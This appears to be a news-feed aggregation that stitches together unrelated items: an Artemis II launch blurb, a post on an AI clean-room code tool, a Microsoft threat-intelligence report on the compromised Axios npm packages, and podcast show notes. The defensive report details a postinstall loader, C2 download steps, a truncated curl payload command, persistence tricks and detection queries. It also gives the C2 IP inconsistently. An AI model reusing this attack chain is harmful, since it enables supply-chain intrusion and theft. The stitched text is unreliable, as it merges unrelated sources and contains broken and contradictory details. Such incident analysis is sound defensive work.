NASA's Artemis II flight, which is set to take four astronauts toward the Moon for the first time in more than 50 years, successfully launched on Wednesday evening.
The Artemis II mission, part of NASA's Artemis program that's intended to bring humans back onto the Moon as early as 2028, will bring the four astronauts in orbit around the Moon on the first crewed flight of the Space Launch System (SLS) rocket. The astronauts, Reid Wiseman, Victor Glover, and Christina Koch, and Canadian Jeremy Hansen, will make the trip aboard the Orion crew capsule, and the full mission is expected to be a 10-day journey. The mission was delayed in February …
ZipNada writes: Two software researchers recently demonstrated how modern AI tools can reproduce entire open-source projects, creating proprietary versions that appear both functional and legally distinct. The partly-satirical demonstration shows how quickly artificial intelligence can blur long-standing boundaries between coding innovation, copyright law, and the open-source principles that underpin much of the modern internet.
In their presentation, Dylan Ayrey, founder of Truffle Security, and Mike Nolan, a software architect with the UN Development Program, introduced a tool they call malus.sh. For a small fee, the service can "recreate any open-source project," generating what its website describes as "legally distinct code with corporate-friendly licensing. No attribution. No copyleft. No problems." It's a test case in how intellectual property law -- still rooted in 19th-century precedent -- collides with 21st-century automation. Since the US Supreme Court's Baker v. Selden ruling, copyright has been understood to guard expression, not ideas.
That boundary gave rise to clean-room design, a method by which engineers reverse-engineer systems without accessing the original source code. Phoenix Technologies famously used the technique to build its version of the PC BIOS during the 1980s. Ayrey and Nolan's experiment shows how AI can perform a clean-room process in minutes rather than months. But faster doesn't necessarily mean fair. Traditional clean-room efforts required human teams to document and replicate functionality -- a process that demanded both legal oversight and significant labor. By contrast, an AI-mediated "clean room" can be invoked through a few prompts, raising questions about whether such replication still counts as fair use or independent creation.
On March 31, 2026, two new npm packages for updated versions of Axios, a popular HTTP client for JavaScript that simplifies making HTTP requests to a REST endpoint with over 70 million weekly downloads, were identified as malicious. These versions (1.14.1 and 0.30.4) were injected with a malicious dependency to download payloads from known actor command and control (C2). Microsoft Threat Intelligence has attributed this infrastructure and the Axios npm compromise to Sapphire Sleet, a North Korean state actor.
Following successful connection to the malicious C2, a second-stage remote access trojan (RAT) payload was automatically deployed based on the operating system of the compromised device, including macOS, Windows, and Linux. This activity follows the pattern of recent high-profile supply chain attacks, where other adversaries poison widely adopted open-source frameworks and their distribution channels to achieve broad downstream impact.
Users who have installed Axios version 1.14.1 or 0.30.4 should rotate their secrets and credentials immediately and downgrade to a safe version (1.14.0 or 0.30.3). Users should also follow the mitigation and protection guidance provided in this blog, including disabling auto-updates for Axios npm packages, since the malicious payload includes a hook that will continue to attempt to update.
This blog shares Microsoft Threat Intelligence’s findings from our analysis, Microsoft Defender detections in place that alerted and protected our customers, additional protections we have implemented in our products to detect and block malicious components, and suggested mitigations for organizations to prevent further compromise.
Analysis of the attack
On March 31, 2026, two malicious versions of Axios npm packages were released. These packages connected to a known malicious domain (C2) owned by Sapphire Sleet to retrieve a second-stage remote access trojan (RAT). Since Axios packages are commonly auto-updated, any projects with Axios versions higher than axios@^1.14.0 or axios@^0.30.0 connected to this Sapphire Sleet C2 upon installation and downloaded second-stage malware. Windows, macOS, and Linux systems are all targeted with platform-specific payloads.
Microsoft Threat Intelligence has determined the account that created the plain-crypto-js package is associated with Sapphire Sleet infrastructure. That account has been disabled.
Silent install-time code execution using dependency insertion
The updated versions of Axios inject plain-crypto-js@4.2.1, a fake runtime dependency that executes automatically through post-install with no user interaction required. The trusted package’s application logic is not modified; instead, the threat actor added a dependency that is never imported by the package’s runtime code but only exists to trigger an install-time script to download the second-stage RAT. That means normal app behavior might remain unchanged while malicious activity occurs during npm installation or npm update on developer endpoints and continuous integration and continuous delivery (CI/CD) systems.
The dependency is seeded into a clean release (plain-crypto-js@4.2.0) to establish publishing history and reduce scrutiny. A follow‑up release adds the malicious install-time logic (plain-crypto-js@4.2.1), introducing an install hook that runs node setup.js and includes a clean manifest stub (package.md) intended for later replacement.
Two Axios releases are then published with a surgical manifest-only change: axios@1.14.1 and axios@0.30.4 add plain-crypto-js@^4.2.1 as a dependency while leaving Axios source code unchanged. The publication metadata differs from the project’s normal CI-backed publishing pattern (for example, missing trusted publisher binding and missing corresponding repo tag/commit trail for the malicious version).
Execution on compromised environments
The first-stage loader (setup.js) uses layered obfuscation to reconstruct sensitive strings (module names, platform identifiers, file paths, and command templates) at runtime. A developer or CI job runs npm install axios (or a dependency install/update that resolves to the affected versions). The package manager resolves and installs the injected dependency (plain-crypto-js@4.2.1).
During installation, the dependency’s lifecycle script automatically launches node setup.js (no additional user step required), which decodes embedded strings at runtime, identifies the platform, and connects to hxxp://sfrclak[.]com:8000/6202033 to fetch the next stage.
Single endpoint C2 with OS-specific responses
The package connects to a Sapphire Sleet-owned domain (hxxp://sfrclak[.]com), which fetches a second-stage payload from an actor-controlled server running on port 8000. The associated IP address (142.11.206[.]73) is tied to Hostwinds, a virtual private server (VPS) provider that Sapphire Sleet is known to commonly use when establishing C2.
All platforms connect to the same resource over the same path (hxxp://sfrclak[.]com:8000/6202033), and the OS selection is conveyed through POST bodies packages.npm.org/product0|product1|product2. This enables the operator to serve platform-specific payloads from one route while keeping the client-side logic minimal. On Windows, the malicious npm drops a VBScript stager. On macOS, the malicious npm package drops a native binary.
macOS: packages.npm.org/product0
Windows: packages.npm.org/product1
Linux/other: packages.npm.org/product2
Second-stage delivery and execution mechanics by OS
macOS (Darwin)
On macOS, the RAT is identified as a native binary: com.apple.act.mond.
Setup.js writes an AppleScript into a temp location and runs it silently using nohup osascript … &. AppleScript POSTs packages.npm.org/product0 to hxxp://sfrclak[.]com:8000/6202033, downloads a binary to /Library/Caches/com.apple.act.mond, applies chmod 770, then starts it using /bin/zsh in the background.
node setup.js
└─ sh -c 'curl -o /Library/Caches/com.apple.act.mond
The AppleScript is removed afterward; the durable artifact is typically Library/Caches/com.apple.act.mond.
On first execution, the PowerShell RAT creates %PROGRAMDATA%\system.bat and adds a registry run key at HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate to enable re-fetching of RAT after every reboot. This added registry run key can persist after reboot.
The chain locates PowerShell (using where powershell) then copies and renames the PowerShell into %PROGRAMDATA%\wt.exe (masquerading as a benign-looking executable name). It writes a VBScript in %TEMP% and runs it using cscript //nologo to keep user-facing windows hidden.
The VBScript launches hidden cmd.exe to POST packages.npm.org/product1 to hxxp://sfrclak[.]com:8000/6202033, saves the response to a temp .ps1, executes it with hidden window and execution-policy bypass, then deletes the .ps1.
The temporary .vbs is also removed; the durable artifact is often %PROGRAMDATA%\wt.exe.
After launching the second-stage payload, the installer logic removes its own loader (setup.js) and removes the manifest (package.json) that contained the install trigger.
It then renames package.md to package.json, leaving behind a clean-looking manifest to reduce the chance that post-incident inspection of node_modules reveals the original install hook.
RAT deployment as covert remote management
The Windows RAT is a PowerShell script that functions as a covert remote management component designed to persist on Windows systems and maintain continuous contact with an external command server. When executed, it generates a unique host identifier, collects detailed system and hardware information (including OS version, boot time, installed hardware, and running processes), and establishes persistence by creating a hidden startup entry that re-launches the script at user sign in under the guise of a legitimate update process.
The RAT communicates with the remote server using periodic, encoded HTTP POST requests that blend in with benign traffic patterns, initially sending host inventory and then polling for follow‑on instructions. Supported commands allow the remote threat actor to execute arbitrary PowerShell code, enumerate files and directories across the system, inject additional binary payloads directly into memory, or terminate execution on demand. To reduce forensic visibility, the script favors in‑memory execution, temporary files, and Base64‑encoded payloads, enabling flexible control of the compromised system while minimizing on‑disk artifacts.
Who is Sapphire Sleet?
Sapphire Sleet is a North Korean state actor that has been active since at least March 2020. The threat actor focuses primarily on the finance sector, including cryptocurrency, venture capital, and blockchain organizations. These targets are often global, with a particular interest in the United States, as well as countries in Asia and the Middle East. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.
Sapphire Sleet often leverages social networking sites, such as LinkedIn, to initiate contact by directing users to click links, leading to malicious files hosted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial institutions like United States-based banks or cryptocurrency pages, and fraudulent meeting links that impersonate legitimate video conferencing applications, such as Zoom. Sapphire Sleet overlaps with activity tracked by other security vendors as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, or CryptoCore.
Mitigation and protection guidance
In organizations where the security posture of npm packages might require review of updates prior to deployment, disabling auto-upgrade features is strongly encouraged. In package.json, remove use of caret (^) or tilde (~) which allow auto-upgrade of any minor or patch update up to a major version. Instead, use an exact version and handle upgrades manually.
What to do now if you’re affected
For organizations affected by this attack, Microsoft Threat Intelligence recommends the following steps:
Roll back all deployments of Axios to safe versions (1.14.0 or 0.30.3 or earlier).
Use overrides to force pinned versions for transitive dependencies.
Flush the local cache with “npm cache clean –force“.
Disable or restrict automated dependency bots for critical packages.
Adopt Trusted Publishing with OIDC to eliminate stored credentials.
Review your CI/CD pipeline logs for any npm install executions that might have updated to axios@1.14.1 or axios@0.30.4 or presence of plain-crypto-js in your npm install / npm ci outputs.
Look for outbound connections in network egress traffic to sfrclak[.]com or 142.11.206[.]72 on port 8000.
Developer machines: Search home directory for any node_modules folder containing plain-crypto-js or axios@1.14.1 or axios@0.30.4.
Rotate all secrets and credentials that are exposed to compromised systems.
When possible, ignore postinstall scripts. If the scenario allows, use “npm ci –ignore-scripts” to prevent postinstall hooks from running or disable postinstall scripts by default with “npm config set ignore-scripts true”.
Remove all Axios files/code from the victim systems and re-install cleanly.
Defending against the Axios supply chain attack
Microsoft Threat Intelligence recommends the following mitigation measures to protect organizations against this threat.
Fully stop Axios from being upgraded unless you explicitly choose to upgrade – In package.json, remove ^ or ~ (which allows auto-upgrade of any minor or patch update) and use an exact version. NOTE: With this change, versions never upgrade unless you change them manually:
{
"dependencies": {
"axios": "1.14.0"
}
}
``
Block Axios upgrades even if a transitive dependency tries – If Axios appears indirectly, force a version using overrides (npm ≥ 14). This forces all dependencies to use the pinned version, which is especially useful for security incidents. NOTE: With this change, versions never upgrade unless you change them manually:
{
"overrides": {
"axios": "1.14.0"
}
}
``
Disable automated dependency bots (such as Dependabot or Renovate) by disabling or restricting Axios updates in their config to prevent PR‑based auto‑updates, which are often mistaken for npm behavior:
# Dependabot example
ignore:
- dependency-name: "axios"
Check for malicious Axios versions in the organization to ensure that workflows and systems don’t use compromised Axios versions (1.14.1 and 0.30.4).
Assess the potential blast radius from affected endpoints
The Exposure Management graph provides a unified representation of organizational assets and their relationships, including identities, endpoints, cloud resources and secrets. This graph is also exposed to customers through Advanced Hunting in Microsoft Defender, enabling programmatic exploration of these connections.
Using advanced hunting, security teams can query this graph to assess the potential blast radius of any given node, such as a server affected by the RAT. By understanding which assets are reachable through existing permissions and trust relationships, organizations can prioritize remediation of the most critical exposure paths.
Additional examples and query patterns are available here as well as in the hunting queries section.
Microsoft Defender detections
Microsoft Defender customers can refer to the list of applicable detections below. Durable detections that were already in place alerted and protected customers from this attack. We have also released additional protections to detect and block specific malicious components.
Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.
Tactic
Observed activity
Microsoft Defender coverage (Blocking detections are indicated where applicable and mapped to specific IoCs, components, or TTPs.)
Initial Access, Execution
The postinstall script downloads the payload from the attacker-controlled server.
Microsoft Defender for Cloud – Malicious Axios supply chain activity detected
Initial execution script was included in setup.js – plain-crypto-js-4.2.1.tgz and is responsible for launching the malicious chain during install or first run
Microsoft Defender for Endpoint – Trojan:Script/SuspObfusRAT.A (Blocking)
Initial execution script setup.js was responsible for launching the malicious chain during install or first run
Microsoft Defender for Endpoint – TrojanDownloader:JS/Crosdomd.A (Blocking)
Maliciously packaged crypto library plain-crypto-js@4.2.1 used to execute or support attacker‑controlled logic in a supply‑chain compromise.
Microsoft Defender for Endpoint – Trojan:JS/AxioRAT.DA!MTB (Blocking)
Execution (macOS)
macOS persistence artifact /Library/Caches/com.apple.act.mond launched, masquerading as a legitimate Apple component to maintain stealthy execution.
Microsoft Defender for Endpoint – Trojan:MacOS/Multiverze!rfn (Blocking) – Backdoor:MacOS/TalonStrike.A!dha (Blocking) – Backdoor:MacOS/Crosdomd.A (Blocking) – Behavior:MacOS/SuspNukeSpedExec.B (Blocking) – Behavior:MacOS/SuspiciousActivityGen.AE (Blocking)
Download and execution of payload
Microsoft Defender for Endpoint – Trojan:Script/SuspObfusRAT.A (Blocking) – Trojan:JS/AxioRAT.DA!MTB (Blocking) – Trojan:MacOS/Multiverze!rfn (Blocking) – Behavior:MacOS/SuspNukeSpedExec.B – Behavior:MacOS/SuspiciousActivityGen.AE – Process launched in the background – Suspicious AppleScript activity – Suspicious script launched – Suspicious shell command execution – Suspicious file or content ingress – Executable permission added to file or directory – Suspicious file dropped and launched
Execution (Linux)
Download and execution of payload, /tmp/ld.py, a Python loader/downloader used to fetch, decrypt, or launch additional malicious components.
Microsoft Defender for Endpoint – Trojan:Python/TalonStrike.C!dha (Blocking) – Backdoor:Python/TalonStrike.C!dha (Blocking)
Download and execution of payload
Microsoft Defender for Endpoint – Trojan:Python/TalonStrike.C!dha (Blocking) – Process launched in the background – Suspicious communication with a remote target
Execution (Windows)
Observed artifacts, 6202033.ps1 and system.bat, provided attackers persistent remote access, command execution, and follow‑on payload delivery on Windows system
Microsoft Defender for Endpoint – TrojanDownloader:PowerShell/Powdow.VUE!MTB (Blocking) – Trojan:Win32/Malgent (Blocking) – Behavior:Win32/PSMasquerade.A – Suspicious ASEP via registry key – System executable renamed and launched – Possible initial access from an emerging threat
Defense evasion (macOS)
Removal of indicators
Microsoft Defender for Endpoint – Suspicious path deletion
Command and control
Use of the following network indicators for C2 communications: C2 domain: sfrclak[.]com C2 IP: 142.11.206[.]73 C2 URL: hxxp://sfrclak[.]com:8000/6202033
Microsoft Defender for Endpoint network protection and Microsoft Defender SmartScreen block malicious network indicators observed in the attack.
Indicators of compromise
Indicator
Type
Description
Sfrclak[.]com
C2 domain
Resolves to 142.11.206[.]73. Registrar: NameCheap, Inc
142.11.206[.]73
C2 IP
Sapphire Sleet C2 IP. Port 8000, HTTP
hxxp://sfrclak[.]com:8000/6202033
C2 URL
Static path across all variants
%TEMP%\6202033.vbs
Windows VBScript dropper
Created by node setup.js
%TEMP%\6202033.ps1
Windows PowerShell payload
Downloaded from C2, self-deleting SHA-256: ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c SHA-256: 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101
Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:
Installed Node.js packages with malicious versions
DeviceTvmSoftwareInventory
| where
(SoftwareName has "axios" and SoftwareVersion in ("1.14.1", "0.30.4"))
or (SoftwareName has "plain-crypto-js" and SoftwareVersion == "4.2.1")
Detect the RAT dropper and subsequent download and execution
CloudProcessEvents
| where ProcessCurrentWorkingDirectory endswith '/node_modules/plain-crypto-js'
and (ProcessCommandLine has_all ('plain-crypto-js','node setup.js')) or ProcessCommandLine has_all ('/tmp/ld.py','sfrclak.com:8000')
Connection to known C2
DeviceNetworkEvents
| where Timestamp > ago(2d)
| where RemoteUrl contains "sfrclak.com"
| where RemotePort == "8000"
Curl execution to download the backdoor
DeviceProcessEvents
| where Timestamp > ago(2d)
| where (FileName =~ "cmd.exe" and ProcessCommandLine has_all ("curl -s -X POST -d", "packages.npm.org", "-w hidden -ep", ".ps1", "& del", ":8000"))
or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "nohup", ".py", ":8000/", "> /dev/null 2>&1") and ProcessCommandLine contains "python")
or (ProcessCommandLine has_all ("curl", "-d packages.npm.org/", "com.apple.act.mond", "http://",":8000/", "&> /dev/null"))
Microsoft Sentinel
Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.
Detect network IP and domain indicators of compromise using ASIM
The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser.
//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor
Detect Web Sessions IP and domain indicators of compromise using ASIM
The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser.
//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(['142.11.206.73']);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor
// Domain list - _Im_WebSession
let ioc_domains = dynamic(["http://sfrclak.com:8000", "http://sfrclak.com"]);
_Im_WebSession (url_has_any = ioc_domains)
Microsoft Defender for Cloud
Possibly compromised packages
Microsoft Defender for Cloud customers can use cloud security explorer to surface possibly compromised software packages. The following screenshot represents a query that searches for container images with the axios or plain-crypto-js node packages.
Threat intelligence reports
Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:
Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.
Microsoft Security Copilot
Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.
Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
NLW presents the current AI landscape where capabilities are accelerating, daily adoption among advanced knowledge workers is widespread, and hallucination rates have dropped dramatically. Debunks common myths by showing AI output varies in quality and excels at augmenting research, writing, images, and automation when treated as an iterative coach rather than a replacement for judgment. Offers practical guidance: prioritize context, run rapid iterate-and-verify cycles, experiment with agents and automations, and avoid outsourcing critical decision-making to confidently wrong outputs.
Costa Alexoglou, co-founder of the open source Hopp pair-programming application, talks with host Brijesh Ammanath about remote pair programming. They start with a quick introduction to pair programming and its importance to software development before discussing the various problems with the current toolset available and the challenges that tool developers face for enabling pair programming. They consider the key features necessary for a good pair-programming tool, and then Costa describes the journey of building Hopp and the challenges faced while building it.
Microsoft's AI ambitions overflowed into GitHub, sparking backlash when ads appeared in pull requests and raising new concerns about where your code is really going. GitHub is going to automatically use your data to train AI, so Paul tells how to opt-out if you don't want that. Plus, there's a new Microsoft 365 alternative in town, and this one is from a little tech company you can trust
Windows
Week D updates go live last Thursday - Smart App Control, many other minor changes
And here we go again: Microsoft issues emergency patch for March Week D optional update
Microsoft says it will replace web-based in-box apps and experiences with native apps ... somehow
Four builds across three channels - Canary with opt-in gets a huge Windows Console upgrade, Dev/Beta get Administrator Protection (again), more
AMD has a new flagship gaming processor
AI/Dev
Microsoft Research AI has a new Critique feature that uses ChatGPT and Claude together in an unholy Frankenstein's monster of orchestration
A week of Siri AI rumors/leaks - This is Apple's version of Microsoft trying to buy TikTok
Google makes it easier to switch to Gemini - This is like Mac vs. PC, but for AI
Mozilla's approach to AI in Firefox is both right and correct
The plan to the save the open web from Big Tech
The future of Firefox includes a Smart Window mode that works like Private window but for AI
SwiftUI SDK for Android is now available
Xbox and gaming
New Xbox chief seeks to reset Xbox brand image - reminder, that's not the same as changing anything
Xbox announces 14 Day One Game Pass titles coming soon
Xbox Games Showcase 2026 and Gears of War E-Day Direct are coming in June
Sony to raise PS5 prices soon
Nintendo to raise prices for physical Switch 2 games soon
Tips & picks
Tip of the week: Opt-out of training AI on GitHub
App pick of the week: Proton Workspace with Meet
RunAs Radio this week: My Home Lab
Brown liquor pick of the week: Jeptha Creed Six Year Old Wheated Bourbon
The Windows Weekly theme music is courtesy of Carl Franklin.
Join Club TWiT for Ad-Free Podcasts!
Support what you love and get ad-free audio and video feeds, a members-only Discord, and exclusive content. Join today: https://twit.tv/clubtwit
Log in
